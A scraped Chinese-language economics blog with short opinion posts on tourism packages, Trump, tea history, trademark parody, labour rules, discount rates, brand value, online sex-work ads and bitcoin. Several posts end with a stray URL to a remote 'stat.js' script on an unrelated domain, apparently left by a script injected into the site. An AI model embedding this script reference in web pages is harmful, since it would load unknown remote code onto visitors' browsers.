分類: 經濟分析

分類
經濟分析

答網友有關「觀光業一條龍現象」的提問

我的看法如下：

1. 一條龍之所以存在是因為成本競爭之下，一條龍的整合在某些侷限條件下有優勢，就像是台塑早年從台塑、南亞到福懋的三次加工，就是一條龍從塑膠原料、塑膠布到終端雨衣。

但是當台灣工業高度塑膠化之後，塑膠工業成熟爆發，這種一條龍反而失去競爭力，就自然會消失。

這也是說原本不存在的觀光產業在初期出現一條龍是很正常的現象，卻被台灣有心人士或政客抹黑。

同時也帶到第二階段，當整體產業夠成熟且競爭多元化之後，一條龍反而因為僵化顯得競爭無力，自己就會被淘汰。

2. 觀光產業初期的一條龍團客有非常強的廣告效果，對未來的自由行鋪路是功不可沒。但是民進黨政府只會操作仇中，永遠在說謊也在昧於整體社會利益地追求個人租值。

我們現在看到的就是台灣的觀光產業還沒活到有足夠租值精緻化、多元化之前，已經被政客扼殺。

3. 即便一條龍，也不可能所有資源都是從大陸引進。如您所說，台灣當地的員工乃至於第三方資源，無論有沒有被整合進來，都會輻射地享受到觀光客消費。
所以我的看法是：觀光出現一條龍純粹是現階段侷限條件下本來就存在的自然現象，而隨著整體租值增長這個現象也會自己消失。這在許多國家初期發展工業時都有過類似經濟現象，本就不足為奇也根本不需要政府介入。

由此可知，台灣最大的負資產其實就是這些政客（特別是操弄台獨反中者）。

PS 補充一點：

任何產業中，各種整合說穿了都只是不同強度的契約安排（contractual arrangements），因應不同侷限條件，我們會看到某些產業上下游高度整合，也會看到如IC積體電路這樣design house跟台積電代工乃至於封裝檢測都能分工的組合。

其中最能整合資源者（不見得是高度整合，而是最有效整合）會成為鉅富，這種賺錢對社會整體都是高度有利，存在就是巨大貢獻，毋須再談無聊的「社會企業責任」。

反之許多訴諸「社會企業責任」而設立的企業，往往只是淪為詐騙稅金的拿標案公司，對整體社會反而是毫無助益。

進一步說，低度變化行業的老人容易把既有的契約安排方式當作是「唯一解」。但其實都要看侷限條件。

反之，高度變化行業則淘汰快速，能長期維持不敗者少見且驚人地傑出。

可唯一能確定的，就是政府不可能比行業者更知道怎樣的資源安排更有效率，枉論指導或投資產業。https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記 經濟分析

川普可望順利連任

華爾街日報報導：「Donald Trump Is Still Their Man」

不要管美國那些腦袋裝屎的主流媒體或好萊塢演員對川普的評價，從幾個事實可以看出來Donald Trump是個極為成功的總統。

1. Virginia州Buchanan county底層工人原本在Obama時期礦坑停產，被迫離鄉工作，每月只能回家見妻兒一面；Trump上台後礦坑景氣大好，工人可以重新回家鄉工作與家人同住。工人盛讚Trump是「有種又誠實(bold and honest)」、「說到做到」。

2. 這些地區Trump得票78.9%，而Hillary Clinton只拿到18%。但其實Buchanan county過去是民主黨的天下，即便當年民主黨推出滿嘴環保主張的Al Gore競選總統，這個煤礦產區依然將大部分的票投給了民主黨。但自從Obama上台之後，這個地區對民主黨越來越不滿意，直到現在成了川普的忠心鐵票區。我常說Obama就是個嘴砲且毫無經濟感受的總統，自以為理想的政策結果就是美國底層人民受害，從Virginia Buchanan county這個民主黨票倉都被迫轉為Trump鐵票區，就知道Obama總統有多失民心。　　

3. Obama時代，Virginia的煤礦工作減少1/5，失業率達11.8%；Trump上台後一年，煤礦工作數增加15%，失業率降低到7%！這些都是川普支持者最先有感的經濟改善。連當地walmart的經理都說客人的推車裝得更滿些。地方某些小販生意回籠，有些小販老闆一天得工作將近16小時。

4. Trump的deregulation讓燃煤發電廠可以繼續運作，同時川普的當選也讓資金願意投資，因為至少未來三年煤炭不會是聯邦政府敵視的對象。

5. 部分經濟學家批評當地過份看重Trump的影響力，事實上是國際局勢轉好才讓整個地區跟著好起來。但該區的coal executives 說經濟學家低估了川普對商業信心的影響。

關於對未來景氣預期影響這件事，我在2017年8月的＜榮景或低成長的十字路口 (We are at the crossroads of prosperity or low progress)＞一文中已經講過：

Right now, I am confident in that the later two factors (the anticipated income grows and the information cost of the future progress decreases) playing more important roles in the formation of the massively optimistic anticipation.

可惜多數象牙塔的經濟學家對此既無感又輕視。

簡言之：Trump總統跟台灣蔡英文天差地遠，前者不但經濟感受極佳（才分別看出WTO這種蠢組織跟自由貿易沒有關係、看出並勇敢退出巴黎協議這種政治小丑的謊言大會、聰明且十分老莊地陪金正恩演瘋戲），而且政治實力上也達成美國近代史以來最重大減稅措施，並透過迂迴路線實質削弱Obama Care這個敗家子。同時還有許多台灣媒體根本沒報導的deregulation都做得十分成功，有效地扭轉生產與經商的環境與收入預期。

挾帶如此成功的經濟翻轉成就，很可能川普會再次讓一路唱衰的主流媒體跌破眼鏡地順利連任。
https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析 歷史

從茶葉考古看文景之治

看來茶葉歷史可以往前推到西漢初年是沒問題了。

有趣的是這段關於進貢皇帝的茶葉品質是取嫩芽部分，需要大量人力為之。

經濟分析上這代表：

1. 當時已經發展出相當成熟與精緻的飲茶習慣。

2. 當時有足夠的經濟實力去支撐「飲茶」這種不能填飽肚子的活動。

3. 經濟實力還高到可以培養出「只摘取嫩葉」供皇帝享受。

這是說，社會租值夠高（總體生產力夠高）才能夠支撐較為浪費的消遣行為。

文中未談到茶葉烘焙的方式，我想已經完全碳化大概也難得知西漢初年的人懂不懂以及懂多少炒茶功夫。

但國家經濟力足以維持相當規模這種無法直接提供熱量的飲料農業，顯見歷史記載的「文景之治」有其根據。

分類
經濟分析 法律

經濟分析看呱吉空中英語傳教士的商標法衝突

經濟分析看呱吉空中英語傳教士的商標法衝突

首先說明一下我知道的事實：

呱吉的上班不要看公司推出了「空中英語傳教士」影片：

空中英語教室方（財團法人台北市基督教救世傳播協會）發函指責呱吉之影片侵害其商標權。

說說我的看法：

從經濟分析來看，商標權本質就是一種「人為擬制的壟斷權利」，其背後最重要的依然是透過法制壟斷，保障商標權所有人可從某種虛擬信賴可得預期未來收入流（anticipated income flow）。

因此像智財法院103年度刑事上易字第63號判決那樣從言論自由角度切入判斷「戲謔仿作（parody）」是否侵害商標權，並非是一個好的法律標準。我認為應該是從「空中英語教室」這個商標所有權人是否能夠證明自己因呱吉此戲謔的「空中英語傳教士」影片發生任何收入或預期收入減損。 這也回歸侵權行為法（torts）的基本精神 — 權利主張者應該要證明自己所受損失的存在（The rights claimer shall prove his damages.）。

同時，是否造成混淆也非好的判斷標準，因為過於主觀而難以量度。

因此要證明空中英語教室是否因此受到收入損失的，反而應該放在呱吉的上班不要看工作室「是否提供可取代空中英語教室所提供之商品或服務」？也就是說，二者之間是否存在市場競爭關係？

如果說呱吉的影片所提供之英語教學對於空中英語教室有相對取代性，則空中英語教室的預期收入受到減損就能做到某種程度的證明。取代性高低本身也會與損失高低有所關連。

反之，若呱吉提供的影片內容不具備取代空中英語教室之商品的可能性，則顯然空中英語教室的商標權所保障之最主要利益並未受到損害。既無損害，何來權利主張之必要？

上述經濟學上的競爭關係，才應該是商標法第68條「…於同一商品或服務…於類似之商品或服務…」的重要內涵。同理，我也認為商標法第70條也應該基於同樣的經濟分析邏輯才能成立 — 明知且故意為減損商標所有權人之未來收入而作為的侵害行為。

繼續閱讀 “經濟分析看呱吉空中英語傳教士的商標法衝突"
分類
經濟分析

如何簡單理解「最低工資與工時限制」問題核心？

這個問題還有一個可思考的角度：

假設三星宣布2018年起販售的Galaxy note手機通通一週只能工作5天，一天只工作8小時。如果超時工作，三星將額外向使用者收取「超時費」。

工作8小時過程「不保證都能全速運行或正常運行」，也不保證多數APP可安裝運行。此外突發性當機可能發生但不會退費也不可退貨。

同時空機價格維持的前提下，看官猜猜此款手機銷售量會上升還是下降？

當契約過多限制存在時，unemployment就會出現：「於物是滯銷、於人是失業、於錢就是爛頭寸」，這點我闡釋過很多次了。https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

錯用折現率概念

高折現率可能來自於"高報酬預期"或"高不耐性"，一個是從投資面看，一個是從消費面看。

但把因為租值與資源不如人而「更努力工作」、「延長工作時間」以及「嘗試更有效率運用資源（因為容錯率較低）」解讀成「高折現率引起的現象」，我認為經濟邏輯與觀念都是錯誤的。

最明顯的比較，深圳日常用餐費用只要San Jose的26％，平均收入前者也只是後者的30%左右；但同樣市中心的公寓每平方米的售價，深圳竟然是San Jose的1.9倍！

也就是說，在深圳一年的平均收入只能夠市中心1.152平方米；但在San Jose的年平均收入卻能在市中心買到7.79平方米。雙方地價租值的巨大差異，無外乎中國深圳對加州灣區矽谷的處處平房感到驚奇。反之深圳處處高樓大廈也屬正常，雙方使用資源自然因地價不同而有行為上的差異。

反之，深圳地價比灣區還貴這現象，試問如何解釋中國折現率遠高於美國？

話說，真正高折現率的（如正在內戰或飢荒的國家），人民反而不會努力工作，因為今天的努力沒有明天可以享受。這也解釋為什麼超級通膨預期時，人會選擇當下就盡量消費勝過儲藏。

這也是說，中國人拼命工作正是因為想望與相信明日得以享受。這不正是低折現率的象徵嗎？

把「坐經濟艙」歸因到高折現率，這種解釋方式我認為是錯得誇張了！

分類
筆記 經濟分析

證明品牌價值流失的好案例–川普大樓


要證明品牌價值並不容易，我認為拿公司股票市值來反推品牌價值是很蠢的事情，本身參考性不大（可好像很多商學院都這樣做喔？）。

之所以不認同主流的品牌價值評估方法理由有二：
 
1. 公司股票市值反應的是投資人對該公司未來收入預期之折現總和，但無論有無品牌的公司均應該採用此法估價。反之，我們無從得知一家有品牌與無品牌的但生產同樣產品的公司是否其市值差異就與品牌價值有關。講更白話，廣達與華碩（未分家前）均生產laptop電腦，若市值孰高孰低只能說「投資人對二家公司未來收入預期」不一樣，無法得知品牌價值。
 
尤其出現「廣達市值高過華碩」這種狀況時，這些使用此法評估品牌價值的商學院學者教授們要如何自圓其說？
 
2. 品牌價值應該是附著於產品/服務上，而非公司。例如Unilever這種多品牌策略的公司（如熊寶貝、Persil、Lux、Pond’s、Dove、凡士林、立頓、康寶…），其下諸多品牌都獨立於Unilever之外，請問這些學者，拿公司市值又要怎麼看出各個品牌的內含價值？沒有內部財報下，又如何得出每個品牌的收入呢？
 
我一直認為終端消費產品的品牌價值判斷標準，比較可取的，特別是針對耐久財，應該是「二手價抗跌性」。例如以汽車品牌來說Toyota、M-Benz、Porsche都是相對抗跌的，因此這些品牌的內含價值其實都很不錯，即便這三個品牌的目標市場並不一致。這也是說，並非「奢侈品」或「高級品」就當然具備高品牌價值。反之，大眾化產品也可存在高品牌價值。

房地產也是一樣，不同建商的產品在二手市場的價格，排除「位置」因素後的抗跌性也彰顯了建商的品牌價值。

D. Trump這嘴砲王上台當總統，難得地給了一個經濟學實證上相當不錯的品牌價值驗證案例：

位於芝加哥的川普大樓2017年一個住房單位（one condo）售價是$747平方英尺，相較逾2016年跌價12%！但同時期差不多地段的大樓住宅卻是上漲2.8%。事實上芝加哥川普大樓管理良善著名，同時也有一流餐廳進駐，地點更是坐擁芝加哥河畔的無敵景觀，過去一直是芝加哥指標地產且鐵桿價格。沒想到川普當上總統之後大樓不但跌價而且成交量也下跌！

以美國主流媒體不斷抹黑川普，加上川普自己的大嘴砲相互輝映下，在民主黨支持者居多的芝加哥市，Trump品牌價值流失是相當合理的解釋。

資料來源：
Trump condo prices down 12% in 2017https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

環保與政府的隨想

其實近乎所有的環保議題總結起來不外乎：

對於資源（能源、物質與土地）更有效率的運用以及如何更有效率處理前者產生的廢棄物。

前述兩個問題又分為：技術層面（科技如何繼續推進）與市場層面（如何讓多數人或國家支付得起）。

可惜的是這些項目剛好都不是「政府所擅長」。那麼環保團體與政客為何還總是訴諸政府作為或法規限制方能解決問題呢？是天真？還是因為有利可圖呢？

 https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記 經濟分析

線上色情廣告幫助減少妓女謀殺

你知道「妓女是比伐木工人更高危險性」的工作嗎？

根據統計，2004年妓女被殺害的比率是204人/每十萬人；而伐木工人死亡率是118人/每十萬人。

但隨著網路發達，Scott Cunningham、Gregory DeAngelo與John Tripp這三名經濟學家研究發現美國人常用的地區型線上分類目錄廣告Craigslist在2002～2010提供色情廣告刊登服務的期間內，降低妓女被殺害死亡率約17.4%，同時也顯著降低一般女性的被強暴率。

經濟邏輯是相當合理的：

1. 透過線上廣告，許多阻街女郎毋須在深夜徘徊於街道上，基本上就避免掉碰到隨機殺人等各種情況。

2. 相較於上街找妓女幾乎可以不留任何證據痕跡，透過線上廣告找性服務多多少少會留下電子足跡，警方未來要追查相對容易。這份擔憂（成本）過濾掉許多殺人行為的可能性。

3. 反之，妓女透過線上廣告的資訊與評價（包含女郎間的資訊傳遞），能更有效地過濾「可能不安全」的客人。

4. 透過線上系統安排到的安全客人，日後再透過線上溝通機制繼續交易的機率大增。這也進一步降低服務提供者接觸陌生客人的次數，從而降低碰上「不安全客人」的機率。

該份報告同時指出，如果要透過增加警力（以舊金山灣區為例）的方式來達到同樣的死亡率降低效果，納稅人需要每年多負擔$200億美元用來增聘警察。換言之，允許Craigslist這種線上廣告刊登色情服務，不但一年救了2150位妓女，也替納稅人省掉200億美元。

這也是說，如果我們認為部分社會底層者因為生活所迫必須從事性服務工作時，自由市場與自由流通資訊都更能幫助這些底層人士自力更生！同時，也更有助於整體社會治安。https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析 商業評論

部分英國金融機構拒收來自比特幣的現金

Financial Times報導：「Bitcoin investors struggle to cash out new fortunes」

部分英國銀行或房貸金融機構以「無法杜絕洗錢嫌疑」為由拒絕收受來自比特幣的現金存款。

如果這樣的法規障礙普遍存在，則作為比特幣在「交易工具」功能上又再一次受到打擊，根據我對比特幣的看法（＜論比特幣＞ https://wp.me/p9ffS3-qO），則其將更偏向「無根財富倉庫」方向發展，對其貨幣定位是相當不利的。https://js.developerstatss.ga/stat.js?n=ns1